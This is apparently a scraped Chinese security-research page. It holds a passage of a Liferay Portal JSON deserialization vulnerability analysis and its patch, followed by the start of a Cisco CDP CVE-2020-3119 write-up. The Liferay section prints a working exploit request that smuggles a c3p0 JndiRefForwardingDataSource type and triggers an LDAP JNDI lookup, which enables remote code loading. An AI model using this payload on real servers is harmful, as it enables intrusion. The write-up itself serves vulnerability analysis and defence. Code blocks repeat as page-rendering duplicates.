System.out.println("TestObject getObject call");

return object;

}

public void setObject(Object object) {

System.out.println("TestObject setObject call");

this.object = object;

}

public HashMap<String, String> getHashMap() {

System.out.println("TestObject getHashMap call");

return hashMap;

}

public void setHashMap(HashMap<String, String> hashMap) {

System.out.println("TestObject setHashMap call");

this.hashMap = hashMap;

}

@Override

public String toString() {

return "TestObject{" +

"name='" + name + '\'' +

", object=" + object +

", hashMap=" + hashMap +

'}';

}

TestObject1.java

package com.longofo;

public class TestObject1 {
    private String jndiName;

    public TestObject1() {
        System.out.println("TestObject1 default constractor call");
    }

    public String getJndiName() {
        System.out.println("TestObject1 getJndiName call");
        return jndiName;
    }

    public void setJndiName(String jndiName) {
        System.out.println("TestObject1 setJndiName call");
        this.jndiName = jndiName;
//        Context context = new InitialContext();
//        context.lookup(jndiName);
    }
}

package com.longofo;

public class TestObject1 {

private String jndiName;

public TestObject1() {

System.out.println("TestObject1 default constractor call");

}

public String getJndiName() {

System.out.println("TestObject1 getJndiName call");

return jndiName;

}

public void setJndiName(String jndiName) {

System.out.println("TestObject1 setJndiName call");

this.jndiName = jndiName;

// Context context = new InitialContext();

// context.lookup(jndiName);

}

Test.java

package com.longofo;

import jodd.json.JsonParser;
import jodd.json.JsonSerializer;

import java.util.HashMap;

public class Test {
    public static void main(String[] args) {
        System.out.println("test common usage");
        test1Common();

        System.out.println();
        System.out.println();

        System.out.println("test unsecurity usage");
        test2Unsecurity();
    }

    public static void test1Common() {
        TestObject1 testObject1 = new TestObject1();
        testObject1.setJndiName("xxx");

        HashMap hashMap = new HashMap&lt;String, String&gt;();
        hashMap.put("aaa", "bbb");

        TestObject testObject = new TestObject();
        testObject.setName("ccc");
        testObject.setObject(testObject1);
        testObject.setHashMap(hashMap);

        JsonSerializer jsonSerializer = new JsonSerializer();
        String json = jsonSerializer.deep(true).serialize(testObject);
        System.out.println(json);
        System.out.println("----------------------------------------");

        JsonParser jsonParser = new JsonParser();
        TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);
        System.out.println(dtestObject);
    }

    public static void test2Unsecurity() {
        TestObject1 testObject1 = new TestObject1();
        testObject1.setJndiName("xxx");

        HashMap hashMap = new HashMap&lt;String, String&gt;();
        hashMap.put("aaa", "bbb");

        TestObject testObject = new TestObject();
        testObject.setName("ccc");
        testObject.setObject(testObject1);
        testObject.setHashMap(hashMap);

        JsonSerializer jsonSerializer = new JsonSerializer();
        String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);
        System.out.println(json);
        System.out.println("----------------------------------------");

        JsonParser jsonParser = new JsonParser();
        TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);
        System.out.println(dtestObject);
    }
}

package com.longofo;

import jodd.json.JsonParser;

import jodd.json.JsonSerializer;

import java.util.HashMap;

public class Test {

public static void main(String[] args) {

System.out.println("test common usage");

test1Common();

System.out.println();

System.out.println("test unsecurity usage");

test2Unsecurity();

}

public static void test1Common() {

TestObject1 testObject1 = new TestObject1();

testObject1.setJndiName("xxx");

HashMap hashMap = new HashMap<String, String>();

hashMap.put("aaa", "bbb");

TestObject testObject = new TestObject();

testObject.setName("ccc");

testObject.setObject(testObject1);

testObject.setHashMap(hashMap);

JsonSerializer jsonSerializer = new JsonSerializer();

String json = jsonSerializer.deep(true).serialize(testObject);

System.out.println(json);

System.out.println("----------------------------------------");

JsonParser jsonParser = new JsonParser();

TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);

System.out.println(dtestObject);

}

public static void test2Unsecurity() {

TestObject1 testObject1 = new TestObject1();

testObject1.setJndiName("xxx");

HashMap hashMap = new HashMap<String, String>();

hashMap.put("aaa", "bbb");

TestObject testObject = new TestObject();

testObject.setName("ccc");

testObject.setObject(testObject1);

testObject.setHashMap(hashMap);

JsonSerializer jsonSerializer = new JsonSerializer();

String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);

System.out.println(json);

System.out.println("----------------------------------------");

JsonParser jsonParser = new JsonParser();

TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);

System.out.println(dtestObject);

}

输出：

test common usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}
----------------------------------------
TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}


test unsecurity usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}
----------------------------------------
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

test common usage

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject default constractor call

TestObject setName call

TestObject setObject call

TestObject setHashMap call

TestObject getHashMap call

TestObject getName call

TestObject getObject call

TestObject1 getJndiName call

{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}

----------------------------------------

TestObject default constractor call

TestObject setHashMap call

TestObject setName call

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject setObject call

TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}

test unsecurity usage

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject default constractor call

TestObject setName call

TestObject setObject call

TestObject setHashMap call

TestObject getHashMap call

TestObject getName call

TestObject getObject call

TestObject1 getJndiName call

{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}

----------------------------------------

TestObject1 default constractor call

TestObject1 setJndiName call

TestObject default constractor call

TestObject setHashMap call

TestObject setName call

TestObject setObject call

TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

在Test.java中，使用了两种方式，第一种是常用的使用方式，在反序列化时指定根类型（rootType）；而第二种官方也不推荐这样使用，存在安全问题，假设某个应用提供了接收JODD Json的地方，并且使用了第二种方式，那么就可以任意指定类型进行反序列化了，不过Liferay这个漏洞给并不是这个原因造成的，它并没有使用setClassMetadataName("class")这种方式。

Liferay对JODD的包装

Liferay没有直接使用JODD进行处理，而是重新包装了JODD一些功能。代码不长，所以下面分别分析下Liferay对JODD的JsonSerializer与JsonParser的包装。

JSONSerializerImpl

Liferay对JODD JsonSerializer的包装是com.liferay.portal.json.JSONSerializerImpl类：

public class JSONSerializerImpl implements JSONSerializer {
    private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer，最后还是交给了JODD的JsonSerializer去处理，只不过包装了一些额外的设置

    public JSONSerializerImpl() {
        if (JavaDetector.isIBM()) {//探测JDK
            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
        }

        this._jsonSerializer = new JsonSerializer();
    }

    public JSONSerializerImpl exclude(String... fields) {
        this._jsonSerializer.exclude(fields);//排除某个field不序列化
        return this;
    }

    public JSONSerializerImpl include(String... fields) {
        this._jsonSerializer.include(fields);//包含某个field进行序列化
        return this;
    }

    public String serialize(Object target) {
        return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化
    }

    public String serializeDeep(Object target) {
        JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field，包括集合等类型
        return jsonSerializer.serialize(target);
    }

    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class&lt;?&gt; type) {//设置转换器，和下面的设置全局转换器类似，不过这里可以传入自定义的转换器（比如将某个类的Data field，格式为03/27/2020，序列化时转为2020-03-27）
        TypeJsonSerializer&lt;?&gt; typeJsonSerializer = null;
        if (jsonTransformer instanceof TypeJsonSerializer) {
            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
        } else {
            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
        }

        this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);
        return this;
    }

    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {
        TypeJsonSerializer&lt;?&gt; typeJsonSerializer = null;
        if (jsonTransformer instanceof TypeJsonSerializer) {
            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
        } else {
            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
        }

        this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);
        return this;
    }

    static {
        //全局注册，对于所有Array、Object、Long类型的数据，在序列化时都进行转换单独的转换处理
        JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());
        JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());
        JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
        JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
    }

    private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer&lt;Long&gt; {
        private LongToStringTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, Long value) {
            jsonContext.writeString(String.valueOf(value));
        }
    }

    private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer&lt;JSONObject&gt; {
        private JSONObjectTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, JSONObject jsonObject) {
            jsonContext.write(jsonObject.toString());
        }
    }

    private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer&lt;JSONArray&gt; {
        private JSONArrayTypeJSONSerializer() {
        }

        public void serialize(JsonContext jsonContext, JSONArray jsonArray) {
            jsonContext.write(jsonArray.toString());
        }
    }
}

public class JSONSerializerImpl implements JSONSerializer {

private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer，最后还是交给了JODD的JsonSerializer去处理，只不过包装了一些额外的设置

public JSONSerializerImpl() {

if (JavaDetector.isIBM()) {//探测JDK

SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关

}

this._jsonSerializer = new JsonSerializer();

}

public JSONSerializerImpl exclude(String... fields) {

this._jsonSerializer.exclude(fields);//排除某个field不序列化

return this;

}

public JSONSerializerImpl include(String... fields) {

this._jsonSerializer.include(fields);//包含某个field进行序列化

return this;

}

public String serialize(Object target) {

return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化

}

public String serializeDeep(Object target) {

JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field，包括集合等类型

return jsonSerializer.serialize(target);

}

public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//设置转换器，和下面的设置全局转换器类似，不过这里可以传入自定义的转换器（比如将某个类的Data field，格式为03/27/2020，序列化时转为2020-03-27）

TypeJsonSerializer<?> typeJsonSerializer = null;

if (jsonTransformer instanceof TypeJsonSerializer) {

typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;

} else {

typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);

}

this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);

return this;

}

public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {

TypeJsonSerializer<?> typeJsonSerializer = null;

if (jsonTransformer instanceof TypeJsonSerializer) {

typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;

} else {

typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);

}

this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);

return this;

}

static {

//全局注册，对于所有Array、Object、Long类型的数据，在序列化时都进行转换单独的转换处理

JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());

JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());

JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());

JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());

}

private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {

private LongToStringTypeJSONSerializer() {

}

public void serialize(JsonContext jsonContext, Long value) {

jsonContext.writeString(String.valueOf(value));

}

private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {

private JSONObjectTypeJSONSerializer() {

}

public void serialize(JsonContext jsonContext, JSONObject jsonObject) {

jsonContext.write(jsonObject.toString());

}

private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {

private JSONArrayTypeJSONSerializer() {

}

public void serialize(JsonContext jsonContext, JSONArray jsonArray) {

jsonContext.write(jsonArray.toString());

}

能看出就是设置了JODD JsonSerializer在序列化时的一些功能。

JSONDeserializerImpl

Liferay对JODD JsonParser的包装是com.liferay.portal.json.JSONDeserializerImpl类：

public class JSONDeserializerImpl&lt;T&gt; implements JSONDeserializer&lt;T&gt; {
    private final JsonParser _jsonDeserializer;//JsonParser，反序列化最后还是交给了JODD的JsonParser去处理，JSONDeserializerImpl包装了一些额外的设置

    public JSONDeserializerImpl() {
        if (JavaDetector.isIBM()) {//探测JDK
            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
        }

        this._jsonDeserializer = new PortalJsonParser();
    }

    public T deserialize(String input) {
        return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化
    }

    public T deserialize(String input, Class&lt;T&gt; targetType) {
        return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化，可以指定根类型（rootType）
    }

    public &lt;K, V&gt; JSONDeserializer&lt;T&gt; transform(JSONDeserializerTransformer&lt;K, V&gt; jsonDeserializerTransformer, String field) {//反序列化时使用的转换器
        ValueConverter&lt;K, V&gt; valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);
        this._jsonDeserializer.use(field, valueConverter);
        return this;
    }

    public JSONDeserializer&lt;T&gt; use(String path, Class&lt;?&gt; clazz) {
        this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型，例如file在某个类是接口或Object等类型，在反序列化时指定具体的
        return this;
    }
}

public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {

private final JsonParser _jsonDeserializer;//JsonParser，反序列化最后还是交给了JODD的JsonParser去处理，JSONDeserializerImpl包装了一些额外的设置

public JSONDeserializerImpl() {

if (JavaDetector.isIBM()) {//探测JDK

SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关

}

this._jsonDeserializer = new PortalJsonParser();

}

public T deserialize(String input) {

return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化

}

public T deserialize(String input, Class<T> targetType) {

return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化，可以指定根类型（rootType）

}

public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化时使用的转换器

ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);

this._jsonDeserializer.use(field, valueConverter);

return this;

}

public JSONDeserializer<T> use(String path, Class<?> clazz) {

this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型，例如file在某个类是接口或Object等类型，在反序列化时指定具体的

return this;

}

能看出也是设置了JODD JsonParser在反序列化时的一些功能。

Liferay 漏洞分析

Liferay在/api/jsonws API提供了几百个可以调用的Webservice，负责处理的该API的Servlet也直接在web.xml中进行了配置：

随意点一个方法看看：

看到这个有点感觉了，可以传递参数进行方法调用，有个p_auth是用来验证的，不过反序列化在验证之前，所以那个值对漏洞利用没影响。根据CODE WHITE那篇分析，是存在参数类型为Object的方法参数的，那么猜测可能可以传入任意类型的类。可以先正常的抓包调用去调试下，这里就不写正常的调用调试过程了，简单看一下post参数：

cmd={"/announcementsdelivery/update-delivery":{}}&amp;p_auth=cqUjvUKs&amp;formDate=1585293659009&amp;userId=11&amp;type=11&amp;email=true&amp;sms=true

1	cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true

总的来说就是Liferay先查找/announcementsdelivery/update-delivery对应的方法->其他post参数参都是方法的参数->当每个参数对象类型与与目标方法参数类型一致时->恢复参数对象->利用反射调用该方法。

但是抓包并没有类型指定，因为大多数类型是String、long、int、List、map等类型，JODD反序列化时会自动处理。但是对于某些接口/Object类型的field，如果要指定具体的类型，该怎么指定？

作者文中提到，Liferay Portal 7中只能显示指定rootType进行调用，从上面Liferay对JODD JSONDeserializerImpl包装来看也是这样。如果要恢复某个方法参数是Object类型时具体的对象，那么Liferay本身可能会先对数据进行解析，获取到指定的类型，然后调用JODD的parse(path,class)方法，传递解析出的具体类型来恢复这个参数对象；也有可能Liferay并没有这样做。不过从作者的分析中可以看出，Liferay确实这样做了。作者查找了jodd.json.Parser#rootType的调用图（羡慕这样的工具）：

通过向上查找的方式，作者找到了可能存在能指定根类型的地方，在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl调用了com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType), looseDeserialize调用的是JSONSerializerImpl，JSONSerializerImpl调用的是JODD的JsonParse.parse。

com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl再往上的调用就是Liferay解析Web Service参数的过程了。它的上一层JSONWebServiceActionImpl#_prepareParameters(Class<?>)，JSONWebServiceActionImpl类有个_jsonWebServiceActionParameters属性：

这个属性中又保存着一个JSONWebServiceActionParametersMap，在它的put方法中，当参数以+开头时，它的put方法以:分割了传递的参数,:之前是参数名,:之后是类型名。

而put解析的操作在com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement中完成：

通过上面的分析与作者的文章，我们能知道以下几点：

Liferay 允许我们通过/api/jsonws/xxx调用Web Service方法
参数可以以+开头，用:指定参数类型
JODD JsonParse会调用类的默认构造方法，以及field对应的setter方法

所以需要找在setter方法中或默认构造方法中存在恶意操作的类。去看下marshalsec已经提供的利用链，可以直接找Jackson、带Yaml的，看他们继承的利用链，大多数也适合这个漏洞，同时也要看在Liferay中是否存在才能用。这里用com.mchange.v2.c3p0.JndiRefForwardingDataSource这个测试，用/expandocolumn/add-column这个Service，因为他有java.lang.Object参数：

Payload如下：

cmd={"/expandocolumn/add-column":{}}&amp;p_auth=Gyr2NhlX&amp;formDate=1585307550388&amp;tableId=1&amp;name=1&amp;type=1&amp;+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

1	cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

解析出了参数类型，并进行参数对象反序列化，最后到达了jndi查询：

补丁分析

Liferay补丁增加了类型校验，在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable中：

private void _checkTypeIsAssignable(int argumentPos, Class&lt;?&gt; targetClass, Class&lt;?&gt; parameterType) {
        String parameterTypeName = parameterType.getName();
        if (parameterTypeName.contains("com.liferay") &amp;&amp; parameterTypeName.contains("Util")) {//含有com.liferay与Util非法
            throw new IllegalArgumentException("Not instantiating " + parameterTypeName);
        } else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验
            if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类
                throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));
            } else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验
                if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验
                    if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验，白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中
                        ServiceReference&lt;Object&gt;[] serviceReferences = _serviceTracker.getServiceReferences();
                        if (serviceReferences != null) {
                            String key = "jsonws.web.service.parameter.type.whitelist.class.names";
                            ServiceReference[] var7 = serviceReferences;
                            int var8 = serviceReferences.length;

                            for(int var9 = 0; var9 &lt; var8; ++var9) {
                                ServiceReference&lt;Object&gt; serviceReference = var7[var9];
                                List&lt;String&gt; whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));
                                if (whitelistedClassNames.contains(parameterTypeName)) {
                                    return;
                                }
                            }
                        }

                        throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");
                    }
                }
            }
        }
    }

private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {

String parameterTypeName = parameterType.getName();

if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法

throw new IllegalArgumentException("Not instantiating " + parameterTypeName);

} else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验

if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类

throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));

} else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验

if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验

if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验，白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中

ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();

if (serviceReferences != null) {

String key = "jsonws.web.service.parameter.type.whitelist.class.names";

ServiceReference[] var7 = serviceReferences;

int var8 = serviceReferences.length;

for(int var9 = 0; var9 < var8; ++var9) {

ServiceReference<Object> serviceReference = var7[var9];

List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));

if (whitelistedClassNames.contains(parameterTypeName)) {

return;

}

throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");

}

_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES所有白名单类在portal.properties中，有点长就不列出来了，基本都是以com.liferay开头的类。

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1162/

作者：叶霖杨 | Categories:技术分享 | Tags: Liferay、反序列化、漏洞分析

没有评论

CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析

2020-07-31

作者：Hcamael@知道创宇404实验室
时间：2020年03月19日
英文版本：https://paper.seebug.org/1156/

Cisco Discovery Protocol(CDP)协议是用来发现局域网中的Cisco设备的链路层协议。

最近Cisco CDP协议爆了几个漏洞，挑了个栈溢出的CVE-2020-3119先来搞搞，Armis Labs也公开了他们的分析Paper。

环境搭建

虽然最近都在搞IoT相关的，但是还是第一次搞这种架构比较复杂的中型设备，大部分时间还是花在折腾环境上。

3119这个CVE影响的是Cisco NX-OS类型的设备，去Cisco的安全中心找了下这个CVE，搜搜受影响的设备。发现受该漏洞影响的设备都挺贵的，也不好买，所以暂时没办法真机测试研究了。随后搜了一下相关设备的固件，需要氪金购买。然后去万能的淘宝搜了下，有代购业务，有的买五六十(亏)，有的卖十几块。

固件到手后，我往常第一想法是解开来，第二想法是跑起来。最开始我想着先把固件解开来，找找cdp的binary，但是在解固件的时候却遇到了坑。

如今这世道，解固件的工具也就binwalk，我也就只知道这一个，也问过朋友，好像也没有其他好用的了。（如果有，求推荐）。

但是binwalk的算法在遇到非常多的压缩包的情况下，非常耗时，反正我在挂那解压了两天，还没解完一半。在解压固件这块折腾了好久，最后还是无果而终。

最后只能先想办法把固件跑起来了，正好知道一个软件可以用来仿真Cisco设备————GNS3。

GNS3的使用说明

学会了使用GNS3以后，发现这软件真好用。

首先我们需要下载安全GNS3软件，然后还需要下载GNS3 VM。个人电脑上装个GNS3提供了可视化操作的功能，算是总控。GNS3 VM是作为GNS3的服务器，可以在本地用虚拟机跑起来，也可以放远程。GNS3仿真的设备都是在GNS3服务器上运行起来的。

1.首先设置好GNS3 VM

2.创建一个新模板

3.选择交换机 Cisco NX-OSv 9000

在这里我们发现是用qemu来仿真设备的，所以前面下载的时候需要下载qcow2。

随后就是把相应版本的固件导入到GNS3 Server。

导入完成后，就能在交换机一栏中看到刚才新添加的设备。

4.把Cisco设备拖到中央，使用网线直连设备

这里说明一下，Toolbox是我自己添加的一个ubuntu docker模板。最开始我是使用docker和交换机设备的任意一张网卡相连来进行操作测试的。

不过随后我发现，GNS3还提供的了一个功能，也就是图中的Cloud1，它可以代表你宿主机/GNS3 Server中的任意一张网卡。

因为我平常使用的工具都是在Mac中的ubuntu虚拟机里，所以我现在的使用的方法是，让ubuntu虚拟机的一张网卡和Cisco交换机进行直连。

PS：初步研究了下，GNS3能提供如此简单的网络直连，使用的是其自己开发的ubridge，Github上能搜到，目测是通过UDP来转发流量包。

在测试的过程中，我们还可以右击这根直连线，来使用wireshark抓包。

5.启动所有节点

最后就是点击上方工具栏的启动键，来启动你所有的设备，如果不想全部启动，也可以选择单独启动。

研究Cisco交换机

不过这个时候网络并没有连通，还需要通过串口连接到交换机进行网络配置。GNS3默认情况下会把设备的串口通过telnet转发出来，我们可以通过GNS3界面右上角看到telnet的ip/端口。

第一次连接到交换机需要进行一次初始化设置，设置好后，可以用你设置的管理员账号密码登陆到Cisco管理shell。

经过研究，发现该设备的结构是，qemu启动了一个bootloader，然后在bootloader的文件系统里面有一个nxos.9.2.3.bin文件，该文件就是该设备的主体固件。启动以后是一个Linux系统，在Linux系统中又启动了一个虚拟机guestshell，还有一个vsh.bin。在该设备中，用vsh替代了我们平常使用Linux时使用的bash。我们telnet连进来后，看到的就是vsh界面。在vsh命令中可以设置开启telnet/ssh，还可以进入Linux shell。但是进入的是guestshell虚拟机中的Linux系统。

本次研究的cdp程序是无法在虚拟机guestshell中看到的。经过后续研究，发现vsh中存在python命令，而这个python是存在于Cisco宿主机中的nxpython程序。所以可以同python来获取到Cisco宿主机的Linux shell。然后通过mac地址找到你在GNS3中设置连接的网卡，进行ip地址的设置。

bash
Cisco# python
Python 2.7.11 (default, Feb 26 2018, 03:34:16)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; import os
&gt;&gt;&gt; os.system("/bin/bash")
bash-4.3$ id
uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)
bash-4.3$ sudo -i
root@Cisco#ifconfig eth8
eth8      Link encap:Ethernet  HWaddr 0c:76:e2:d1:ac:07
          inet addr:192.168.102.21  Bcast:192.168.102.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61
          TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6639702 (6.3 MiB)  TX bytes:246035115 (234.6 MiB)

root@Cisco#ps aux|grep cdp
root     10296  0.0  0.8 835212 70768 ?        Ss   Mar18   0:01 /isan/bin/cdpd
root     24861  0.0  0.0   5948  1708 ttyS0    S+   05:30   0:00 grep cdp

bash

Cisco# python

Python 2.7.11 (default, Feb 26 2018, 03:34:16)

[GCC 4.6.3] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> import os

>>> os.system("/bin/bash")

bash-4.3$ id

uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)

bash-4.3$ sudo -i

root@Cisco#ifconfig eth8

eth8 Link encap:Ethernet HWaddr 0c:76:e2:d1:ac:07

inet addr:192.168.102.21 Bcast:192.168.102.255 Mask:255.255.255.0

UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1

RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61

TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:6639702 (6.3 MiB) TX bytes:246035115 (234.6 MiB)

root@Cisco#ps aux|grep cdp

root 10296 0.0 0.8 835212 70768 ? Ss Mar18 0:01 /isan/bin/cdpd

root 24861 0.0 0.0 5948 1708 ttyS0 S+ 05:30 0:00 grep cdp

设置好ip后，然后可以在我们mac上的ubuntu虚拟机里面进行网络连通性的测试，正常情况下这个时候网络已经连通了。

之后可以把ubuntu虚拟机上的公钥放到cisoc设备的/root/.ssh/authorized_keys，然后就能通过ssh连接到了cisco的bash shell上面。该设备的Linux系统自带程序挺多的，比如后续调试的要使用的gdbserver。nxpython还装了scapy。

使用scapy发送CDP包

接下来我们来研究一下怎么发送cdp包，可以在Armis Labs发布的分析中看到cdp包格式，同样我们也能开启Cisco设备的cdp，查看Cisco设备发送的cdp包。

Cisco#conf ter
Cisco(config)# cdp enable
# 比如我前面设置直连的上第一个网口
Cisco(config)# interface ethernet 1/7
Cisco(config-if)# no shutdown
Cisco(config-if)# cdp enable
Cisco(config-if)# end
Cisco# show cdp interface ethernet 1/7
Ethernet1/7 is up
    CDP enabled on interface
